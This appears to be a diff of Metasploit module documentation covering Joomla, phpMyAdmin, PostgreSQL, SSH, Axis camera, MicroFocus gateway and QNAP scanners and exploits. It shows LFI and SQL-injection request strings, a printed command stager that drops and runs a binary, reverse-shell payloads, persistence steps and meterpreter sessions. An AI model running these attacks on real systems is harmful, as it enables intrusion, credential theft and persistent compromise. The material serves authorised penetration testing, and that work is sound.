[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
||||
[+] Vulnerability: Potential LFI
|
||||
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
||||
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Confirming using Joomscan
|
||||
|
||||
The `-ec` flag is used to enumerate components/plugins.
|
||||
|
||||
```
|
||||
# joomscan -u 192.168.2.39 -ec
|
||||
____ _____ _____ __ __ ___ ___ __ _ _
|
||||
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
|
||||
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
|
||||
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
|
||||
(1337.today)
|
||||
|
||||
--=[OWASP JoomScan
|
||||
+---++---==[Version : 0.0.5
|
||||
+---++---==[Update Date : [2018/03/13]
|
||||
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
|
||||
--=[Code name : KLOT
|
||||
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
|
||||
|
||||
Processing http://192.168.2.39 ...
|
||||
|
||||
...snip...
|
||||
|
||||
[+] Enumeration component (com_ajax)
|
||||
[++] Name: com_ajax
|
||||
Location : http://192.168.2.39/components/com_ajax/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_ajax/
|
||||
|
||||
|
||||
[+] Enumeration component (com_banners)
|
||||
[++] Name: com_banners
|
||||
Location : http://192.168.2.39/components/com_banners/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_banners/
|
||||
|
||||
|
||||
[+] Enumeration component (com_contact)
|
||||
[++] Name: com_contact
|
||||
Location : http://192.168.2.39/components/com_contact/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_contact/
|
||||
|
||||
|
||||
[+] Enumeration component (com_content)
|
||||
[++] Name: com_content
|
||||
Location : http://192.168.2.39/components/com_content/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_content/
|
||||
|
||||
|
||||
[+] Enumeration component (com_contenthistory)
|
||||
[++] Name: com_contenthistory
|
||||
Location : http://192.168.2.39/components/com_contenthistory/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_contenthistory/
|
||||
|
||||
|
||||
[+] Enumeration component (com_fields)
|
||||
[++] Name: com_fields
|
||||
Location : http://192.168.2.39/components/com_fields/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_fields/
|
||||
|
||||
|
||||
[+] Enumeration component (com_finder)
|
||||
[++] Name: com_finder
|
||||
Location : http://192.168.2.39/components/com_finder/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_finder/
|
||||
|
||||
|
||||
[+] Enumeration component (com_mailto)
|
||||
[++] Name: com_mailto
|
||||
Location : http://192.168.2.39/components/com_mailto/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_mailto/
|
||||
Installed version : 3.1
|
||||
|
||||
|
||||
[+] Enumeration component (com_media)
|
||||
[++] Name: com_media
|
||||
Location : http://192.168.2.39/components/com_media/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_media/
|
||||
|
||||
|
||||
[+] Enumeration component (com_newsfeeds)
|
||||
[++] Name: com_newsfeeds
|
||||
Location : http://192.168.2.39/components/com_newsfeeds/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_newsfeeds/
|
||||
|
||||
|
||||
[+] Enumeration component (com_search)
|
||||
[++] Name: com_search
|
||||
Location : http://192.168.2.39/components/com_search/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_search/
|
||||
|
||||
|
||||
[+] Enumeration component (com_users)
|
||||
[++] Name: com_users
|
||||
Location : http://192.168.2.39/components/com_users/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_users/
|
||||
|
||||
|
||||
[+] Enumeration component (com_wrapper)
|
||||
[++] Name: com_wrapper
|
||||
Location : http://192.168.2.39/components/com_wrapper/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
|
||||
Installed version : 3.1
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_version
|
||||
msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_version) > run
|
||||
|
||||
[*] Server: Apache/2.4.29 (Ubuntu)
|
||||
[+] Joomla version: 3.8.2
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using Joomscan
|
||||
|
||||
```
|
||||
# joomscan -u 192.168.2.39
|
||||
____ _____ _____ __ __ ___ ___ __ _ _
|
||||
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
|
||||
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
|
||||
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
|
||||
(1337.today)
|
||||
|
||||
--=[OWASP JoomScan
|
||||
+---++---==[Version : 0.0.5
|
||||
+---++---==[Update Date : [2018/03/13]
|
||||
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
|
||||
--=[Code name : KLOT
|
||||
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
|
||||
|
||||
Processing http://192.168.2.39 ...
|
||||
|
||||
[+] Detecting Joomla Version
|
||||
[++] Joomla 3.8.2
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,36 @@
|
|||
|
||||
## Vulnerable Application
|
||||
|
||||
This module is a brute-force login scanner for PhpMyAdmin
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use [auxiliary/scanner/http/phpmyadmin_login]```
|
||||
3. Do: ```set RHOSTS [IP]```
|
||||
4. Do: ```set TARGETURI [URI]```
|
||||
5. Do: ```set PASSWORD [PASSWORD]```
|
||||
6. Do: ```run```
|
||||
7. You should get a successful login status
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on PhpMyAdmin Versions 4.0.10.20, 4.5.0, 4.8.1, 4.8.2, 5.0
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/phpmyadmin_login
|
||||
msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.37.151
|
||||
rhosts => 192.168.37.151
|
||||
msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi phpmyadmin-4.8.2/index.php
|
||||
targeturi => phpmyadmin-4.8.2/index.php
|
||||
msf5 auxiliary(scanner/http/phpmyadmin_login) > set password password
|
||||
password => password
|
||||
msf5 auxiliary(scanner/http/phpmyadmin_login) > run
|
||||
|
||||
[*] PhpMyAdmin Version: 4.8.2
|
||||
[+] 192.168.37.151:80 - Success: 'root:password'
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/http/phpmyadmin_login) >
|
||||
|
||||
```
|
|
@ -0,0 +1,42 @@
|
|||
## Description
|
||||
|
||||
An arbitrary file deletion vulnerability in the WordPress core allows any user with privileges of an
|
||||
Author to completely take over the WordPress site and to execute arbitrary code on the server.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
WordPress <= 4.9.6
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use auxiliary/scanner/http/wp_arbitrary_file_deletion```
|
||||
2. Do: ```set USERNAME [USERNAME]```
|
||||
3. Do: ```set PASSWORD [PASSWORD]```
|
||||
4. Do: ```set RHOSTS [IP]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/wp_arbitrary_file_deletion
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RPORT 8000
|
||||
RPORT => 8000
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set PASSWORD xxx
|
||||
PASSWORD => password1
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > set USERNAME xxx
|
||||
USERNAME => techbrunch
|
||||
msf5 auxiliary(scanner/http/wp_arbitrary_file_deletion) > run
|
||||
|
||||
[*] Checking if target is online and running Wordpress...
|
||||
[*] Checking access...
|
||||
[*] Getting the nonce...
|
||||
[*] Uploading media...
|
||||
[*] Editing thumb path...
|
||||
[*] Deleting media...
|
||||
[+] File deleted!
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
This module is used to access the password hashes in use within a PostgreSQL database.
|
||||
This occurs via the PostgreSQL API, which by default runs on port 5432.
|
||||
Access to the `pg_shadow` system catalog is usually restricted to database superusers only.
|
||||
|
||||
## Vulnerable Application
|
||||
### Installation of PostgreSQL on Kali Linux:
|
||||
While many versions of Kali Linux come with a PostgreSQL installation out of the box, in the event that you
|
||||
are using a containerized Kali Linux or other minimal installation, installation and setup of PostgreSQL is required.
|
||||
|
||||
The following instructions assume you are beginning with a fresh Kali installation as the root user.
|
||||
|
||||
1. `apt-get update`
|
||||
2. `apt-get install postgresql`
|
||||
3. `systemctl start postgresql`
|
||||
|
||||
At this point, PostgreSQL is installed and the installation has created the necessary user accounts to run the server.
|
||||
This is where most users would begin the verification process. At this point, we'll setup a user account for use within the `postgres_hashdump` module
|
||||
|
||||
4. `sudo --login --user postgres`
|
||||
5. `psql`
|
||||
6. `CREATE USER msf_documentation_superuser WITH SUPERUSER PASSWORD 'msf_documentation_superuser'`
|
||||
|
||||
## Verification Steps
|
||||
1. `use auxiliary/scanner/postgres/postgres_hashdump`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set RPORT [port]`
|
||||
4. `set USERNAME [username]`
|
||||
5. `set PASSWORD [password]`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
### PostgreSQL 10.4 on Kali Linux
|
||||
```
|
||||
msf > use auxiliary/scanner/postgres/postgres_hashdump
|
||||
msf auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.10.25
|
||||
RHOSTS => 10.10.10.25
|
||||
msf auxiliary(scanner/postgres/postgres_hashdump) > set USERNAME msf_documentation_superuser
|
||||
USERNAME => msf_documentation_superuser
|
||||
msf auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD msf_documentation_superuser
|
||||
PASSWORD => msf_documentation_superuser
|
||||
msf auxiliary(scanner/postgres/postgres_hashdump) > run
|
||||
[+] Query appears to have run successfully
|
||||
[+] Postgres Server Hashes
|
||||
======================
|
||||
|
||||
Username Hash
|
||||
-------- ----
|
||||
msf md5b08431efa0cd58b024f3af4acd6b9057
|
||||
msf_documentation_superuser md5e7ce29c6b3acd4d39bec5e527da21aba
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
### [postgresql](https://www.postgresql.org/docs/8.3/static/view-pg-shadow.html)
|
||||
|
||||
```
|
||||
# sudo --login --user postgres psql
|
||||
psql (10.4 (Debian 10.4-2))
|
||||
Type "help" for help.
|
||||
|
||||
postgres=# SELECT usename, passwd FROM pg_shadow;
|
||||
usename | passwd
|
||||
-----------------------------+-------------------------------------
|
||||
postgres |
|
||||
msf | md5b08431efa0cd58b024f3af4acd6b9057
|
||||
msf_documentation_superuser | md5e7ce29c6b3acd4d39bec5e527da21aba
|
||||
(4 rows)
|
||||
```
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
This module identifies the target host's PostgreSQL version. This occurs via the PostgreSQL API, which by default runs on port 5432.
|
||||
|
||||
## Vulnerable Application
|
||||
### Installation of PostgreSQL on Kali Linux:
|
||||
While many versions of Kali Linux come with a PostgreSQL installation out of the box, in the event that you are using a containerized Kali Linux
|
||||
or other minimal installation, installation and setup of PostgreSQL is required.
|
||||
|
||||
The following instructions assume you are beginning with a fresh Kali installation as the root user.
|
||||
|
||||
1. `apt-get update`
|
||||
2. `apt-get install postgresql`
|
||||
3. `systemctl start postgresql`
|
||||
|
||||
At this point, PostgreSQL is installed and the installation has created the necessary user accounts to run the server.
|
||||
This is where most users would begin the verification process. At this point, we'll setup a user account for use within the `postgres_version` module
|
||||
|
||||
4. `sudo --login --user postgres`
|
||||
5. `psql`
|
||||
6. `CREATE USER msf_documentation WITH PASSWORD 'msf_documentation'`
|
||||
|
||||
## Verification Steps
|
||||
1. `use auxiliary/scanner/postgres/postgres_version`
|
||||
2. `set RHOSTS [ips]`
|
||||
3. `set RPORT [port]`
|
||||
4. `set USERNAME [username]`
|
||||
5. `set PASSWORD [password]`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
### PostgreSQL 10.4 on Kali Linux
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/postgres/postgres_version
|
||||
msf auxiliary(scanner/postgres/postgres_version) > set RHOSTS 10.10.10.25
|
||||
RHOSTS => 10.10.10.25
|
||||
msf auxiliary(scanner/postgres/postgres_version) > set USERNAME msf_documentation
|
||||
USERNAME => msf_documentation
|
||||
msf auxiliary(scanner/postgres/postgres_version) > set PASSWORD msf_documentation
|
||||
PASSWORD => msf_documentation
|
||||
msf auxiliary(scanner/postgres/postgres_version) > run
|
||||
|
||||
[*] 10.10.10.25:5432 Postgres - Version PostgreSQL 10.4 (Debian 10.4-2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 7.3.0-18) 7.3.0, 64-bit (Post-Auth)
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming
|
||||
### [postgresql](https://www.postgresql.org/docs/10/static/functions-info.html)
|
||||
|
||||
```
|
||||
# sudo --login --user postgres psql
|
||||
psql (10.4 (Debian 10.4-2))
|
||||
Type "help" for help.
|
||||
|
||||
postgres=# SELECT version();
|
||||
version
|
||||
----------------------------------------------------------------------------------------------------------------------------
|
||||
Postgres - Version PostgreSQL 10.4 (Debian 10.4-2) on x86_64-pc-linux-gnu, compiled by gcc (Debian 7.3.0-18) 7.3.0, 64-bit
|
||||
(1 row)
|
||||
|
||||
```
|
|
@ -0,0 +1,79 @@
|
|||
## Intro
|
||||
|
||||
This module uses a malformed packet or timing attack to enumerate users on
|
||||
an OpenSSH server.
|
||||
|
||||
Testing note: invalid users were logged, while valid users were not. YMMV.
|
||||
|
||||
## Actions
|
||||
|
||||
**Malformed Packet**
|
||||
|
||||
The default action sends a malformed (corrupted) `SSH_MSG_USERAUTH_REQUEST`
|
||||
packet using public key authentication (must be enabled) to enumerate users.
|
||||
|
||||
**Timing Attack**
|
||||
|
||||
On some versions of OpenSSH under some configurations, OpenSSH will return a
|
||||
"permission denied" error for an invalid user faster than for a valid user,
|
||||
creating an opportunity for a timing attack to enumerate users.
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Single username to test (username spray).
|
||||
|
||||
**USER_FILE**
|
||||
|
||||
File containing usernames, one per line.
|
||||
|
||||
**THRESHOLD**
|
||||
|
||||
Amount of seconds needed before a user is considered found (timing attack only).
|
||||
|
||||
**CHECK_FALSE**
|
||||
|
||||
Check for false positives (random username).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_enumusers
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > echo $'wvu\nbcook' > users
|
||||
[*] exec: echo $'wvu\nbcook' > users
|
||||
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set user_file users
|
||||
user_file => users
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
|
||||
|
||||
[*] [redacted]:22 - SSH - Using malformed packet technique
|
||||
[*] [redacted]:22 - SSH - Starting scan
|
||||
[+] [redacted]:22 - SSH - User 'wvu' found
|
||||
[-] [redacted]:22 - SSH - User 'bcook' not found
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack
|
||||
action => Timing Attack
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
|
||||
|
||||
[*] [redacted]:22 - SSH - Using timing attack technique
|
||||
[*] [redacted]:22 - SSH - Starting scan
|
||||
[+] [redacted]:22 - SSH - User 'wvu' found
|
||||
[-] [redacted]:22 - SSH - User 'bcook' not found
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
[redacted] [redacted] 22/tcp (ssh) wvu
|
||||
|
||||
msf5 auxiliary(scanner/ssh/ssh_enumusers) >
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
This module exploits multiple vulnerabilities against Axis Network Cameras, including an authentication
|
||||
bypass in the .srv functionality, as well as a command injection in "parhand", in order to gain
|
||||
arbitrary remote code execution under the context of root.
|
||||
|
||||
The exploit currently only supports the following payloads:
|
||||
|
||||
* cmd/unix/bind_netcat_gaping
|
||||
* cmd/unix/reverse_netcat_gaping
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The particular firmware (Companion Dome V) tested for this exploit was 6.15.4, web version 16.05.02.
|
||||
|
||||
For a list of affected Axis products, please go to the following page:
|
||||
https://www.axis.com/files/sales/ACV-128401_Affected_Product_List.pdf
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `exploit/linux/http/axis_srv_parhand_rce`
|
||||
3. Do: `set rhosts [IP]`
|
||||
4. Do: `show payloads` to select a payload (that is not ipv6)
|
||||
5. Do: `set payload [name of payload]`
|
||||
6. Set LHOST if you are using a reverse shell
|
||||
7. Do: `run`
|
||||
8. You should get a session
|
|
@ -0,0 +1,114 @@
|
|||
## Vulnerable Application
|
||||
This module exploits a SQL injection and command injection vulnerability in MicroFocus Secure Messaging
|
||||
Gateway. An unauthenticated user can execute a terminal command under the context of the web user.
|
||||
|
||||
One of the user supplied parameters of API endpoint is used by the application without input validation
|
||||
and/or parameter binding, which leads to SQL injection vulnerability. Successfully exploiting this
|
||||
vulnerability gives a ability to add new user onto system. manage_domains_dkim_keygen_request.php
|
||||
endpoint is responsible for executing an operation system command. It's not possible to access this
|
||||
endpoint without having a valid session.
|
||||
|
||||
Combining these vulnerabilities gives the opportunity execute operation system commands under the
|
||||
context of the web user.
|
||||
|
||||
## Vulnerable Application Installation Steps
|
||||
|
||||
Complete the following trial submission form. You will be able to [download the product as a OVA or ISO file](https://www.microfocus.com/products/secure-gateway/trial/).
|
||||
Installation instructions can be [found here](https://www.microfocus.com/documentation/secure-messaging-gateway/GWAVA%207.0/secure-gateway.pdf).
|
||||
|
||||
Please note that newer trial appliances by default are no longer vulnerable to the attacks used by
|
||||
this module, but for testing purposes there is a way to make it vulnerable again.
|
||||
|
||||
First, go ahead and install the ISO. The appliance is based on Debian (for example, version 7 is
|
||||
running a modified version of Ubuntu 16.04), so installation should be very similar to that.
|
||||
|
||||
After you log into the system as "gwava:gwava" (which is the default credential), you should see
|
||||
this on your screen:
|
||||
|
||||
```
|
||||
####################################
|
||||
|
||||
Please run the following command:
|
||||
|
||||
sudo /opt/gwavapreinstall.sh
|
||||
|
||||
####################################
|
||||
```
|
||||
|
||||
The gwavapreinstall.sh script is what you need to modify. To do this, open it with your favorite text
|
||||
editor with sudo like this:
|
||||
|
||||
```
|
||||
$ sudo nano -w /opt/gwavapreinstall.sh
|
||||
```
|
||||
|
||||
The bash script uses svn to download the latest software from the official site, but we can go back to
|
||||
a specific commit to test the vulnerability again. Go ahead and find this line in the file:
|
||||
|
||||
```
|
||||
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release $GWAVA_DIR
|
||||
```
|
||||
|
||||
And modify to (the difference is the ```release@444```):
|
||||
|
||||
```
|
||||
sudo svn co --username gwavaupdate --password gwavam8 --non-interactive https://gwava7updates.gwava.com/update/gwava7/release@444 $GWAVA_DIR
|
||||
```
|
||||
|
||||
Make sure you save it, and then now run the script:
|
||||
|
||||
```
|
||||
$ sudo /opt/gwavapreinstall.sh
|
||||
```
|
||||
|
||||
After running the script, make sure to browse to https://[IP] to complete the installation. And then
|
||||
after that, you are ready to test the module.
|
||||
|
||||
Note that the module may not work at the very first try, but the second time should work.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
A successful check of the exploit will look like this:
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/linux/http/microfocus_secure_messaging_gateway `
|
||||
3. Set `RHOST`
|
||||
4. Set `LHOST`
|
||||
5. Run `check`
|
||||
6. **Verify** that you are seeing `The target is vulnerable`
|
||||
7. Run `exploit`
|
||||
8. **Verify** that you are seeing `Creating an user with appropriate privileges` in console.
|
||||
9. **Verify** that you are seeing `User successfully created. Username : rmcynlbredxqh` in console.
|
||||
10. **Verify** that you are seeing `Authenticating with created user` in console.
|
||||
11. **Verify** that you are seeing `Successfully authenticated` in console.
|
||||
12. **Verify** that you are seeing `Creating a domain with a malformed DKIM data` in console.
|
||||
13. **Verify** that you are seeing `Payload is successfully implanted` in console.
|
||||
14. **Verify** that you are seeing `Triggering an implanted payload` in console.
|
||||
15. **Verify** that you are getting meterpreter session.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/microfocus_secure_messaging_gateway
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set RHOSTS 12.0.0.25
|
||||
RHOSTS => 12.0.0.25
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set LHOST 12.0.0.1
|
||||
LHOST => 12.0.0.1
|
||||
msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > run
|
||||
|
||||
[*] Started reverse TCP handler on 12.0.0.1:4444
|
||||
[*] Creating an user with appropriate privileges
|
||||
[+] User successfully created. Username : rmcynlbredxqh
|
||||
[*] Authenticating with created user
|
||||
[+] Successfully authenticated
|
||||
[*] Creating a domain record with a malformed DKIM data
|
||||
[+] Payload is successfully implanted
|
||||
[*] Triggering an implanted payload
|
||||
[*] Sending stage (37775 bytes) to 12.0.0.25
|
||||
[*] Meterpreter session 10 opened (12.0.0.1:4444 -> 12.0.0.25:44332) at 2018-06-25 20:26:54 +0100
|
||||
[*] Cleaning up...
|
||||
|
||||
meterpreter > pwd
|
||||
/opt/gwava/gwavaman/http/admin/contents/ou
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,81 @@
|
|||
## Description
|
||||
|
||||
This module exploits a command injection vulnerability in the
|
||||
`change_passwd` API method within the web interface of QNAP Q'Center
|
||||
virtual appliance versions prior to 1.7.1083.
|
||||
|
||||
The vulnerability allows the `admin` privileged user account to
|
||||
execute arbitrary commands as the `admin` operating system user.
|
||||
|
||||
Valid credentials for the `admin` user account are required, however,
|
||||
this module also exploits a separate password disclosure issue which
|
||||
allows any authenticated user to view the password set for the `admin`
|
||||
user during first install.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central
|
||||
management platform that enables you to consolidate the management of multiple
|
||||
QNAP NAS devices.
|
||||
|
||||
This module has been tested successfully on QNAP Q'Center appliance
|
||||
version 1.6.1075.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec`
|
||||
3. `set RHOSTS <IP>`
|
||||
4. `set USERNAME <USERNAME>` (default: `admin`)
|
||||
5. `set PASSWORD <PASSWORD>` (default: `admin`)
|
||||
6. `run`
|
||||
7. You should get a session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**USERNAME**
|
||||
|
||||
Username for the application. (default: `admin`)
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
Password for the application. (default: `admin`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112
|
||||
rhosts => 10.1.1.112
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check
|
||||
|
||||
[*] Target is QNAP Q'Center appliance version 1.6.1075
|
||||
[*] 10.1.1.112:443 The target appears to be vulnerable.
|
||||
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.1.1.197:4444
|
||||
[*] Target is QNAP Q'Center appliance version 1.6.1075
|
||||
[+] Authenticated as user 'admin' successfully
|
||||
[*] Sending payload ...
|
||||
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"]
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (861480 bytes) to 10.1.1.112
|
||||
[*] Command Stager progress - 100.00% done (701/701 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=1001, gid=1001, euid=1001, egid=1001
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.1.1.112
|
||||
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
## Autostart persistence
|
||||
|
||||
This module persist a payload by creating a `.desktop` entry for Linux desktop targets.
|
||||
|
||||
### Testing
|
||||
|
||||
1. Exploit a box
|
||||
2. `use exploit/linux/local/autostart_persistence`
|
||||
3. `set SESSION <id>`
|
||||
4. `set PAYLOAD cmd/unix/reverse_python` (for instance), configure the payload as needed
|
||||
5. `exploit`
|
||||
|
||||
When the victim logs in your payload will be executed!
|
||||
|
||||
|
||||
### Options
|
||||
|
||||
|
||||
**NAME**
|
||||
|
||||
Name of the `.desktop` entry to add, if not specified it will be chosen randomly.
|
||||
|
|
@ -0,0 +1,187 @@
|
|||
## Vulnerable Application
|
||||
|
||||
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
|
||||
which contains a vulnerability where it may improperly perform sign
|
||||
extension. This can be utilized to escalate privileges.
|
||||
|
||||
The target system must be compiled with BPF support and must not have
|
||||
`kernel.unprivileged_bpf_disabled` set to `1`.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Debian 9.0 kernel 4.9.0-3-amd64;
|
||||
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
|
||||
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
|
||||
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
|
||||
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
|
||||
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
|
||||
* Gentoo 2.2 kernel 4.5.2-aufs-r1;
|
||||
* Linux Mint 17.3 kernel 4.4.0-89-generic;
|
||||
* Linux Mint 18.0 kernel 4.8.0-58-generic;
|
||||
